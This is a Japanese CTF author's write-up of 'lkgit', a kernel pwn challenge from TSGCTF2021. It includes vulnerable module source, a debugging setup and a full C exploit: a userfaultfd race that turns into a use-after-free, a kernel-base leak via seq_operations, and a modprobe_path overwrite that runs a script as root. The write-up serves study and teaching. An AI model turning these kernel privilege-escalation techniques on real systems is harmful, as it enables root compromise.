lkgit

イントロ Link to this heading

いつかは忘れましたが、TSGCTF2021が開催されました。今年もFlatt Security さんにスポンサーをしていただき開催することができました。ありがとうございます。 今年は院試なりで人生が崩壊していて作問する予定はなく、mora a.k.a パン人間 さんが全 pwn を作問するかと思われましたが、作問してない&&参加できない CTF を見守るのはつまらないため、1 問作りました。 作ったのは pwn の kernel 問題lkgitで、想定難易度 medium、最終得点 322pts、最終 solve 数 7(zer0pts/./Vespiary/hxp/Tokyowesterns/Super Guesser/L00P3R/DSGS4T)、first-blood はzer0pts (公開後約 2h)となりました。TSG は難易度想定及び告知の仕方を間違えているという意見をたまに聞きますが、ぼくもそう思います。しかし pwn 勢に限ってはどのチームでも例外なく、皆一概に良心であり、性格が良く、朝は早く起き、一汁三菜を基本とした健全な食生活を送り、日々運動を欠かさない、とても素晴らしい人々である事であることが知られています(対極を成すのが crypto 勢です。すいません、嘘です。crypto も良い魔法使いばかりです)。よって、この問題も作問方針やレビューを受けて適切に難易度づけしました。 作問方針は、「kernel 問題で easy な問題があってもいいじゃないか。但し全部コピペはダメだよ!ほんの少しパズル要素があって、でもストレスフルで冗長なのは嫌!」です。一般に pwn の userland の beginner 問はオーバーフローなり OOB なりが出題されますが、それと同程度とまでは行かずとも典型的で解きやすい問題を設定しました。かといって、コピペはだめなので要点要点で自分でちゃんと考える必要のある問題にしたつもりです。kernel 問の中ではかなり easy な部類で、まぁ kernel 特有の面倒臭さを若干考慮して medium にしました。 おそらくcHeapcoffeeは解いたけど、配布ファイルの中に bzImage を見つけてそっとパソコンをそっと閉じた人もいるかもしれませんが、本エントリは lkgit を題材にした kernel exploit 入門的な感じでできる限り丁寧に書こうと思うので、是非手元で試しつつ実際に exploit を動かしてみてください。そしてつよつよになって僕に pwn を教えてください。お願いします。 また、一般に writeup を書くのは偉いことであり、自分の問題の writeup を見るのは楽しい事であることが知られているため、他の人が書いた writeup も最後に載せています。 あと、Survey は競技終了後の今でも(というか、なんなら 1 週間後、1 ヶ月後、1 年後)解答自体は出来るし、繰り返し送信することも可能なので、解き直してみて思ったことでも、この問題のココが嫌いだとかでも、秋田犬が好きだでも何でも良いので、送ってもらえるとチーム全員で泣いて喜んで泣いて反省して来年の TSGCTF が少しだけ良いものになります。

配布ファイル Link to this heading

さて、配布されたlkgit.tar.gzを展開すると、lkgitというディレクトリが出てきて、そのディレクトリには再度lkgit.tar.gzが入っています。ごめんなさい。kernel 問の作問時には Makefile で tar.gz まで一気に作るのですが、TSGCTF の問題はほぼ全て CTFd への登録の際に初めて tar.gz するという慣習があるため、2 回圧縮してしまいました。勿論配布後に確認したのですが、tar を開いて tar が出てきた時、自分の記憶が一瞬飛んだのかと思ってスルーしてしまいました。まぁ非本質です。

dist

配布ファイルはこんな感じです。

dist.sh
 1.
 2├── bzImage:             kernel image本体.
 3    (./bzImage: Linux kernel x86 boot executable bzImage, version 5.10.25 (hack@ash) #1 Fri Oct 1 20:11:36 JST 2021, RO-rootFS, swap_dev 0x3, Normal VGA)
 4├── rootfs.cpio:         root filesystem
 5├── run.sh:              QEMUの起動スクリプト
 6└── src:                 ソースコード達
 7    ├── client
 8    │   └── client.c:    clientプログラム。読まなくてもOK.
 9    ├── include:         kernel/client共通ヘッダファイル
10    │   └── lkgit.h
11    └── kernel:          LKMソースコード
12        └── lkgit.c

因みに、カーネルのビルドホストがちゃんといじられていない場合 author の名前が分かって RECON 出来る可能性があります。今回はhack@ashにしました。 rootfs.cpiobzImageの展開・圧縮の仕方等は以下を参考にしてみてください。

以下のスクリプトを使って起動すると、なんかいい感じにファイルシステムを展開したり圧縮したりして QEMU を立ち上げてくれるので、中身を書き換えたいときには便利です。

mr.sh
 1#!/bin/bash
 2
 3filesystem="rootfs.cpio"
 4extracted="./extracted"
 5
 6extract_filesystem() {
 7  mkdir $extracted
 8  cd $extracted
 9  cpio -idv < "../$filesystem"
10  cd ../
11}
12
13# extract filesystem if not exists
14! [ -d "./extracted" ] && extract_filesystem
15
16# compress
17rm $filesystem
18chmod 777 -R $extracted
19cd $extracted
20find ./ -print0 | cpio --owner root --null -o -H newc > ../rootfs.cpio
21cd ../
22
23# run
24sh ./run.sh

起動してみると、サンプルとなるクライアントプログラムが置いてあります。このクライアントプログラムは、ソースコードに書いてあるとおり exploit に実際は必要がありませんが、モジュールの大まかな意図した動作を把握させる他、exploit にそのまま使える utility 関数を提供する目的で添付しました。クライアントプログラム(そしてそのまま LKM 自体)の大まかな機能は以下の通りで、ファイルのハッシュ値の取得、及びハッシュ値から log をたどったり log を修正することができます。

abst

let’s debug Link to this heading

さてさてデバッグですが、run.sh-sオプションをつけることで QEMU が GDB server を建ててくれるため、あとは GDB 側からattachするだけです。但し、僕の環境では kernel のデバッグでpwndbgを使うとステップ実行に異常時間を食うため、いつもバニラを使っています。以下の.gdbinitを参考にして心地よい環境を作ってみてください。

但し、シンボル情報はないため root でログインして/proc/kallsymsからシンボルを読んでデバッグしてください。この際、run.shinitに以下のような変更をすると良いです。

diff.diff
 1# init
 234,35c34,35
 3< echo 2 > /proc/sys/kernel/kptr_restrict
 4< echo 1 > /proc/sys/kernel/dmesg_restrict
 5---
 6> echo 0 > /proc/sys/kernel/kptr_restrict
 7> echo 0 > /proc/sys/kernel/dmesg_restrict
 843c43,44
 9< setsid cttyhack setuidgid user sh
10---
11> #setsid cttyhack setuidgid user sh
12> setsid cttyhack setuidgid root sh
13
14# run.sh
157c7
16<   -append "console=ttyS0 oops=panic panic=1 quiet" \
17---
18>   -append "console=ttyS0 panic=1" \
198a9
20>   -s \

Vuln: race condition Link to this heading

さて、今回の脆弱性は明らかで race-condition が存在します。kernel 問題では、copy_from_user()copy_to_user()関数等でユーザランドとデータのやり取りを行う前に、ユーザランドのメモリに対してuserfaultfdというシスコールで監視を行うことで、登録したユーザランドのハンドラをフォルト時に呼ばせることができます。mmapで確保したページは、最初は zero-page に無条件でマップされているため、初めての write-access が発生した場合にフォルトが起きます(あと最近の userfaultfd では write-protected なページに対するハンドラを設定することも可能になっています)。このへんのテクニックの原理・詳細については以下のリポジトリに置いているため気になる人は見てみてください。

さて、本問題においてはlkgit_get_object()関数でコミットオブジェクトを取得する際に、kernelland から userland へのコピーが複数回発生します。よって、ここでフォルトを起こして kernel thread の処理を停止し、ユーザランドに処理を移すことができます。

lkgit.c
 1static long lkgit_get_object(log_object *req) {
 2	long ret = -LKGIT_ERR_OBJECT_NOTFOUND;
 3	char hash_other[HASH_SIZE] = {0};
 4	char hash[HASH_SIZE];
 5	int target_ix;
 6	hash_object *target;
 7	if (copy_from_user(hash, req->hash, HASH_SIZE)) // ...1
 8		goto end;
 9
10	if ((target_ix = find_by_hash(hash)) != -1) {
11		target = objects[target_ix];      ...1
12		if (copy_to_user(req->content, target->content, FILE_MAXSZ)) // ...2
13			goto end;
14
15		// validity check of hash
16		get_hash(target->content, hash_other);
17		if (memcmp(hash, hash_other, HASH_SIZE) != 0)
18			goto end;
19
20		if (copy_to_user(req->message, target->message, MESSAGE_MAXSZ)) // ...3
21			goto end;
22		if (copy_to_user(req->hash, target->hash, HASH_SIZE))  // ...4
23			goto end;
24		ret = 0;
25	}
26
27end:
28	return ret;
29}

それとは別に、新しく commit オブジェクトを作るlkgit_hash_object()において、hash 値が衝突すると古い方のオブジェクトがkfree()されるようになっています。まぁ、hash の衝突と言っても同じファイル(文字列)を渡せばいいだけなのでなんてことはありません。本当はほんものの git っぽく SHA-1 使って、commit オブジェクトと tree オブジェクトとか分けて・・・とか考えていたんですが、ソースコードが異常量になったので辞めました。あくまで今回のテーマは、おおよそ典型的だが要所で自分で考えなくてはいけないストレスレスな問題なので。

lkgit.c
 1static long save_object(hash_object *obj) {
 2	int ix;
 3	int dup_ix;
 4	// first, find conflict of hash
 5	if((dup_ix = find_by_hash(obj->hash)) != -1) {
 6		kfree(objects[dup_ix]);
 7		objects[dup_ix] = NULL;
 8	}
 9	// assign object
10	for (ix = 0; ix != HISTORY_MAXSZ; ++ix) {
11		if (objects[ix] == NULL) {
12			objects[ix] = obj;
13			return 0;
14		}
15	}
16	return -LKGIT_ERR_UNKNOWN;
17}

さて、kfree とレースが組み合わさった時kUAFをまず考えます。get 関数で処理を止めている間に処理を止めて、フォルトハンドラの中で hash 値が重複するオブジェクトを作成すると、そのオブジェクトが削除されます。しかし、このオブジェクトのアドレスは ★1 でスタックに積まれているため、その状態で get を resume させると、kfree()されたアドレスを使い続けることになり kUAF が成立します。

uffd using structure on the edge of two-pages Link to this heading

kUAF が出来たので、この構造体と同じサイズを持つ kernelland 構造体を新たに確保してkfreeされたオブジェクトの上に乗っけましょう。

lkgit.h
1typedef struct {
2  char hash[HASH_SIZE];
3  char *content;
4  char *message;
5} hash_object;

構造体のサイズは 0x20 なのでseq_operationsが使えますね。いい加減これを使うのも飽きたので他の構造体を使って SMEP/SMAP を回避させても良かったんですが、めんどくさくなるだけっぽかったのでseq_operations + modprobe_pathで行けるようにしました。seq_operationsの確保の仕方はこのへん を参考にしてください。また、uffd を使った exploit のテンプレについては以下を参考にしてください。 https://github.com/smallkirby/snippet/blob/master/exploit/kernel/userfaultfd-exploit.c

但し、上の通りにやっても恐らく leak には失敗すると思います。ここが kernel 問題に慣れている人にとって多分唯一の一瞬だけ立ち止まる場所だと思います。get 関数を見返してみると、userland へアクセスを行う箇所が 4 箇所有ることが分かると思います。問題はどこでフォルトを起こして処理を止めると leak ができるかです。

  1. 取得する log の hash 値自体の取得。この時点では対象オブジェクトの特定自体ができていないため、止めても意味がありません。
  2. contentのコピー。ここで止めた場合、seq_operationsがコミットオブジェクトの上にかぶさるため、その値は unknown になります。よって、直後に有る謎のvalidity_check()でひっかかって処理が終わってしまいます。よってここで止めるのもなしです。
  3. ココで止めた場合、直後に validity check もなく、続く copy でhashからシンボルを leak できるので嬉しいです。
  4. ココで止めても、コレ以降コピーがないため leak はできません。

よって、唯一の選択肢は 3 のmessageのコピーで止めることで、逆を言えばコレ以外で止めてはいけません。しかし、普通にユーザランドでmmapしたページに何も考えず構造体をおくと、1 の時点でフォルトが起きてしまい、うまく leak することができません。 さて、どうしましょう。といっても、恐らく答えは簡単に思いついて、構造体を 2 ページにまたがるように配置し、片方のページにだけフォルトの監視をつければ OKです。

uffd

AAW and modprobe_path overwrite Link to this heading

さて、これで kernbase の leak ができました。任意のシンボルのアドレスが分かったことになります。あとは AAW がほしいところです。ここまでで使っていないのはlkgit_amend_commitですが、これは内部で get 関数を呼び出す怪しい関数です。案の定、オブジェクトのアドレスをスタックに積んで保存しちゃっています。なので、ここで get の間にやはり処理を飛んでkfreeすれば解放されたオブジェクトに対して書き込みを行うことが出来ます。

lkgit.c
 1static long lkgit_amend_message(log_object *reqptr) {
 2	long ret = -LKGIT_ERR_OBJECT_NOTFOUND;
 3	char buf[MESSAGE_MAXSZ];
 4	log_object req = {0};
 5	int target_ix;
 6	hash_object *target;
 7	if(copy_from_user(&req, reqptr->hash, HASH_SIZE))
 8		goto end;
 9
10	if ((target_ix = find_by_hash(req.hash)) != -1) {
11		target = objects[target_ix];
12		// save message temporarily
13		if (copy_from_user(buf, reqptr->message, MESSAGE_MAXSZ))
14			goto end;
15		// return old information of object
16		ret = lkgit_get_object(reqptr);
17		// amend message
18		memcpy(target->message, buf, MESSAGE_MAXSZ);
19	}
20
21	end:
22		return ret;
23}

また、2 つの構造体を比較してみると、messageとして確保される領域がlog_objectと同じサイズであることがわかります。

1#define MESSAGE_MAXSZ             0x20
2typedef struct {
3  char hash[HASH_SIZE];
4  char *content;
5  char *message;
6} hash_object;

最後に、lkgit_hash_object()における各バッファの確保順を見てみると以下のようになっています。

lkgit.c
1	char *content_buf = kzalloc(FILE_MAXSZ, GFP_KERNEL);
2	char *message_buf = kzalloc(MESSAGE_MAXSZ, GFP_KERNEL);
3	hash_object *req = kzalloc(sizeof(hash_object), GFP_KERNEL);

よって、amend->get->止める->オブジェクト削除->新しくlog_objectの作成->amend 再開とすることで、amend で書き込む対象であるmessageを任意のアドレスに向けることが可能です。これで AAW になりました。 ここまできたら、あとはお決まりのmodprobe_pathテクニックによって root で任意のことが出来ます。modprobe_pathの悪用については、以下の 2 点を読むと原理と詳細が解ると思います。

modprobe_pathのアドレスの特定については以下を参考にしてください。

full exploit Link to this heading

exploit.c
  1/****************
  2 *
  3 * Full exploit of lkgit.
  4 *
  5****************/
  6
  7#define _GNU_SOURCE
  8#include <string.h>
  9#include <stdio.h>
 10#include <fcntl.h>
 11#include <stdint.h>
 12#include <unistd.h>
 13#include <assert.h>
 14#include <stdlib.h>
 15#include <signal.h>
 16#include <poll.h>
 17#include <pthread.h>
 18#include <err.h>
 19#include <errno.h>
 20#include <netinet/in.h>
 21#include <sched.h>
 22#include <linux/bpf.h>
 23#include <linux/filter.h>
 24#include <linux/userfaultfd.h>
 25#include <sys/syscall.h>
 26#include <sys/ipc.h>
 27#include <sys/msg.h>
 28#include <sys/prctl.h>
 29#include <sys/ioctl.h>
 30#include <sys/mman.h>
 31#include <sys/types.h>
 32#include <sys/xattr.h>
 33#include <sys/socket.h>
 34#include <sys/uio.h>
 35#include <sys/shm.h>
 36
 37#include "../src/include/lkgit.h"// commands
 38
 39#define DEV_PATH "/dev/lkgit"   // the path the device is placed
 40#define ulong unsigned long
 41#define scu static const unsigned long
 42
 43#// constants
 44#define PAGE 0x1000
 45#define NO_FAULT_ADDR 0xdead0000
 46#define FAULT_ADDR    0xdead1000
 47#define FAULT_OFFSET PAGE
 48#define MMAP_SIZE 4*PAGE
 49#define FAULT_SIZE MMAP_SIZE - FAULT_OFFSET
 50// (END constants)
 51
 52// globals
 53int uffd;
 54struct uffdio_api uffdio_api;
 55struct uffdio_register uffdio_register;
 56int lkgit_fd;
 57char buf[0x400];
 58unsigned long len = 2 * PAGE;
 59void *addr = (void*)NO_FAULT_ADDR;
 60void *target_addr;
 61size_t target_len;
 62int tmpfd[0x300];
 63int seqfd;
 64struct sockaddr_in saddr = {0};
 65struct msghdr socketmsg = {0};
 66struct iovec iov[1];
 67
 68ulong single_start;
 69ulong kernbase;
 70
 71ulong off_single_start = 0x01adc20;
 72ulong off_modprobepath = 0x0c3cb20;
 73// (END globals)
 74
 75
 76// utils
 77#define WAIT getc(stdin);
 78#define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \
 79                        } while (0)
 80ulong user_cs,user_ss,user_sp,user_rflags;
 81
 82/** module specific utils **/
 83
 84char* hash_to_string(char *hash) {
 85  char *hash_str = calloc(HASH_SIZE * 2 + 1, 1);
 86  for(int ix = 0; ix != HASH_SIZE; ++ix) {
 87    sprintf(hash_str + ix*2, "%02lx", (unsigned long)(unsigned char)hash[ix]);
 88  }
 89  return hash_str;
 90}
 91
 92char* string_to_hash(char *hash_str) {
 93  char *hash = calloc(HASH_SIZE, 1);
 94  char buf[3] = {0};
 95  for(int ix = 0; ix != HASH_SIZE; ++ix) {
 96    memcpy(buf, &hash_str[ix*2], 2);
 97    hash[ix] = (char)strtol(buf, NULL, 16);
 98  }
 99  return hash;
100}
101
102void print_log(log_object *log) {
103  printf("HASH   : %s\n", hash_to_string(log->hash));
104  printf("MESSAGE: %s\n", log->message);
105  printf("CONTENT: \n%s\n", log->content);
106}
107/** END of module specific utils **/
108
109
110void *conflict_during_fault(char *content) {
111  // commit with conflict of hash
112  char content_buf[FILE_MAXSZ] = {0};
113  char msg_buf[MESSAGE_MAXSZ] = {0};
114  memcpy(content_buf, content, FILE_MAXSZ); // hash became 00000000000...
115  hash_object req = {
116      .content = content_buf,
117      .message = content_buf,
118  };
119  printf("[.] committing with conflict...: %s\n", content);
120  assert(ioctl(lkgit_fd, LKGIT_HASH_OBJECT, &req) == 0);
121  printf("[+] hash: %s\n", hash_to_string(req.hash));
122}
123
124// userfaultfd-utils
125static void* fault_handler_thread(void *arg)
126{
127  puts("[+] entered fault_handler_thread");
128
129  static struct uffd_msg msg;   // data read from userfaultfd
130  //struct uffdio_copy uffdio_copy;
131  struct uffdio_range uffdio_range;
132  struct uffdio_copy uffdio_copy;
133  long uffd = (long)arg;        // userfaultfd file descriptor
134  struct pollfd pollfd;         //
135  int nready;                   // number of polled events
136
137  // set poll information
138  pollfd.fd = uffd;
139  pollfd.events = POLLIN;
140
141  // wait for poll
142  puts("[+] polling...");
143  while(poll(&pollfd, 1, -1) > 0){
144    if(pollfd.revents & POLLERR || pollfd.revents & POLLHUP)
145      errExit("poll");
146
147    // read an event
148    if(read(uffd, &msg, sizeof(msg)) == 0)
149      errExit("read");
150
151    if(msg.event != UFFD_EVENT_PAGEFAULT)
152      errExit("unexpected pagefault");
153
154    printf("[!] page fault: %p\n", (void*)msg.arg.pagefault.address);
155
156    // Now, another thread is halting. Do my business.
157    char content_buf[FILE_MAXSZ] = {0};
158    if (target_addr == (void*)NO_FAULT_ADDR) {
159      puts("[+] first: seq_operations");
160      memset(content_buf, 'A', FILE_MAXSZ);
161      conflict_during_fault(content_buf);
162      puts("[+] trying to realloc kfreed object...");
163      if ((seqfd = open("/proc/self/stat", O_RDONLY)) <= 0) {
164        errExit("open seq_operations");
165      }
166
167      // trash
168      uffdio_range.start = msg.arg.pagefault.address & ~(PAGE - 1);
169      uffdio_range.len = PAGE;
170      if(ioctl(uffd, UFFDIO_UNREGISTER, &uffdio_range) == -1)
171        errExit("ioctl-UFFDIO_UNREGISTER");
172    } else {
173      printf("[+] target == modprobe_path @ %p\n", (void*)kernbase + off_modprobepath);
174      strcpy(content_buf, "/tmp/evil\x00");
175      conflict_during_fault(content_buf);
176
177      puts("[+] trying to realloc kfreed object...");
178      long *buf = calloc(sizeof(long), sizeof(hash_object) / sizeof(long));
179      for (int ix = 0; ix != sizeof(hash_object) / sizeof(long); ++ix) {
180        buf[ix] = kernbase + off_modprobepath;
181      }
182
183      char content_buf[FILE_MAXSZ] = {0};
184      char hash_buf[HASH_SIZE] = {0};
185      strcpy(content_buf, "uouo-fish-life\x00");
186      hash_object req = {
187          .content = content_buf,
188          .message = (char*)buf,
189      };
190      assert(ioctl(lkgit_fd, LKGIT_HASH_OBJECT, &req) == 0);
191      printf("[+] hash: %s\n", hash_to_string(req.hash));
192
193      // write evil message
194      puts("[+] copying evil message...");
195      char message_buf[PAGE] = {0};
196      strcpy(message_buf, "/tmp/evil\x00");
197      uffdio_copy.src = (unsigned long)message_buf;
198      uffdio_copy.dst = msg.arg.pagefault.address;
199      uffdio_copy.len = PAGE;
200      uffdio_copy.mode = 0;
201      if(ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
202        errExit("ioctl-UFFDIO_COPY");
203    }
204
205    break;
206  }
207
208  puts("[+] exiting fault_handler_thrd");
209}
210
211void register_userfaultfd_and_halt(void)
212{
213  puts("[+] registering userfaultfd...");
214
215  long uffd;      // userfaultfd file descriptor
216  pthread_t thr;  // ID of thread that handles page fault and continue exploit in another kernel thread
217  struct uffdio_api uffdio_api;
218  struct uffdio_register uffdio_register;
219  int s;
220
221  // create userfaultfd file descriptor
222  uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); // there is no wrapper in libc
223  if(uffd == -1)
224    errExit("userfaultfd");
225
226  // enable uffd object via ioctl(UFFDIO_API)
227  uffdio_api.api = UFFD_API;
228  uffdio_api.features = 0;
229  if(ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
230    errExit("ioctl-UFFDIO_API");
231
232  // mmap
233  addr = mmap(target_addr, target_len, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0); // set MAP_FIXED for memory to be mmaped on exactly specified addr.
234  printf("[+] mmapped @ %p\n", addr);
235  if(addr == MAP_FAILED || addr != target_addr)
236    errExit("mmap");
237
238  // specify memory region handled by userfaultfd via ioctl(UFFDIO_REGISTER)
239  // first step
240  if (target_addr == (void*)NO_FAULT_ADDR) {
241    uffdio_register.range.start = (size_t)(target_addr + PAGE);
242    uffdio_register.range.len = PAGE;
243    uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
244  } else {
245    // second step
246    uffdio_register.range.start = (size_t)(target_addr + PAGE);
247    uffdio_register.range.len = PAGE;
248    uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
249  }
250  //uffdio_register.mode = UFFDIO_REGISTER_MODE_WP; // write-protection
251  if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
252    errExit("ioctl-UFFDIO_REGISTER");
253
254  s = pthread_create(&thr, NULL, fault_handler_thread, (void*)uffd);
255  if(s!=0){
256    errno = s;
257    errExit("pthread_create");
258  }
259
260  puts("[+] registered userfaultfd");
261}
262// (END userfaultfd-utils)
263
264
265int main(int argc, char *argv[])
266{
267  puts("[.] starting exploit...");
268  system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/nirugiri");
269  system("echo -ne '#!/bin/sh\nchmod 777 /home/user/flag && cat /home/user/flag' > /tmp/evil");
270  system("chmod +x /tmp/evil");
271  system("chmod +x /tmp/nirugiri");
272
273
274  lkgit_fd = open(DEV_PATH, O_RDWR);
275	if(lkgit_fd < 0) {
276		errExit("open");
277	}
278
279  // register uffd handler
280  target_addr = (void*)NO_FAULT_ADDR;
281  target_len = 2 * PAGE;
282  register_userfaultfd_and_halt();
283  sleep(1);
284
285  log_object *log = (log_object*)(target_addr + PAGE - (HASH_SIZE + FILE_MAXSZ));
286  printf("[.] target addr: %p\n", target_addr);
287  printf("[.] log:         %p\n", log);
288
289  // spray
290  puts("[.] heap spraying...");
291  for (int ix = 0; ix != 0x90; ++ix) {
292    tmpfd[ix] = open("/proc/self/stat", O_RDONLY);
293  }
294
295  // commit a file normaly
296  char content_buf[FILE_MAXSZ] = {0};
297  char msg_buf[MESSAGE_MAXSZ] = {0};
298  char hash_buf[HASH_SIZE] = {0};
299  memset(content_buf, 'A', FILE_MAXSZ); // hash became 00000000000...
300  strcpy(msg_buf, "This is normal commit.\x00");
301  hash_object req = {
302      .content = content_buf,
303      .message = msg_buf,
304  };
305  assert(ioctl(lkgit_fd, LKGIT_HASH_OBJECT, &req) == 0);
306  printf("[+] hash: %s\n", hash_to_string(req.hash));
307
308  memset(content_buf, 0, FILE_MAXSZ);
309  strcpy(content_buf, "/tmp/evil\x00"); // hash is 46556c00000000000000000000000000
310  strcpy(msg_buf, "This is second commit.\x00");
311  assert(ioctl(lkgit_fd, LKGIT_HASH_OBJECT, &req) == 0);
312  printf("[+] hash: %s\n", hash_to_string(req.hash));
313
314
315  // try to get a log and invoke race
316  // this fault happens when copy_to_user(to = message), not when copy_to_user(to = content).
317  memset(log->hash, 0, HASH_SIZE);
318  assert(ioctl(lkgit_fd, LKGIT_GET_OBJECT, log) == 0);
319  print_log(log);
320
321  // kernbase leak
322  single_start = *(unsigned long*)log->hash;
323  kernbase = single_start - off_single_start;
324  printf("[!] single_start: %lx\n", single_start);
325  printf("[!] kernbase: %lx\n", kernbase);
326
327  // prepare for race again.
328  target_len = PAGE * 2;
329  target_addr = (void*)NO_FAULT_ADDR + PAGE*2;
330  register_userfaultfd_and_halt();
331  sleep(1);
332
333  // amend to race/AAW
334  log = (log_object *)(target_addr + PAGE - (HASH_SIZE + FILE_MAXSZ));
335  memcpy(log->hash, string_to_hash("46556c00000000000000000000000000"), HASH_SIZE); // hash is 46556c00000000000000000000000000
336  puts("[.] trying to race to achive AAW...");
337  int e = ioctl(lkgit_fd, LKGIT_AMEND_MESSAGE, log);
338  if (e != 0) {
339    if (e == -LKGIT_ERR_OBJECT_NOTFOUND) {
340      printf("[ERROR] object not found: %s\n", hash_to_string(log->hash));
341    } else {
342      printf("[ERROR] unknown error in AMEND.\n");
343    }
344  }
345
346  // nirugiri
347  puts("[!] executing evil script...");
348  system("/tmp/nirugiri");
349  system("cat /home/user/flag");
350
351  printf("[.] end of exploit.\n");
352  return 0;
353}

今回はwgetこそ入っているもののネットワークモジュールが実装されていないため使えません。これはコンフィグ変にいじってデカ重になったりビルドし直したりするのが嫌だったのでこのままにしておきました。まぁ BASE64 で送るだけなので、大変さはそんなじゃないと思っています。送り方がわからない人は以下を見てください。

Community Writeups Link to this heading

解いてくれた人・復習してやってくれた人のブログとか writeup を集めます。(ただ、軽く見た感じ lkgit は触ってくれた人自体がとても少ないみたいで writeup も見つからず、わんわん泣いています。chat にジェラってます。まぁ chat 良い問題だからそれはそうなんですが)

1. LOOP3R さんによる解説 (in Discord of TSGCTF) Link to this heading

え、個人チームだったのか。 shm_fille_data を使ったようです。 あと uffd の MODE_WP はこの exploit だと使わなくてもいいよーなそうでもないよーな気はしますが、このブログでも触れた通りいい感じに使う機会はありそうです。 お見事。

2. しふくろさん(@shift_crops ) によるきれいな PoC Link to this heading

いつも参考にさせていただいておりまする。 きれいですわね。 こちらも leak は shm 経由で行っています。 関係ないけど scpwn に乗り換えようかな。

あとシステムに libc があって楽だったっぽいです(一瞬 tweet 見た時に非想定で一瞬で解けたのかと思ったけど、ただ便利だったっぽいので OK です。 ところで一般の kernel 問題って libc おいてないんだっけ。 僕はいつもローカルで 100%いけるようになってから static にして送るので気にしたことありませんでした)。

3. ptr-yudai さんのブログ Link to this heading

4. kileak (Super Guesser)さんによる完全無欠な writeup Link to this heading

これもう、公式 writeup にします、これ以上の説明がないので。 kileak さん、なんか聞いたことがあると思ったら、ぼくの故郷こと pwnable.xyz のいくつかの問題(attack,badayum,nin,knum)の作者さんですね、ありがとうございます! (ぼくは knum 解くのに 8 億年かかった記憶があります)

余談 Link to this heading

CTF 中はみんはやにはまりました。 クイズを 100 問作って解いてもらっていました。 楽しかったです。 あと、CakeCTF を見習って swag として乾パンを贈ろうとしたんですが、駄目でした。

アウトロ Link to this heading

root

今回は kernel 問のイントロ的に作ってみました。leak のあとは heap 問にしたり SMEP/SMAP を回避させるバージョンも考えましたが、素直じゃないので辞めました。一応(慣れている人にとって面白いかどうかは別として)とっつきやすい問題になっていると思います。次はもっと勉強して問題解いていいのを作りたいです。あと、twitter も Discord もchat一色になっていて大泣きしています。 lkgit に関して不明点等合った場合は、Twitter か Discord の DM で聞いてください。

何はともあれ、TSGCTF2020 終わりです。また来年、少しだけ成長して会いましょう。

参考 Link to this heading

続く…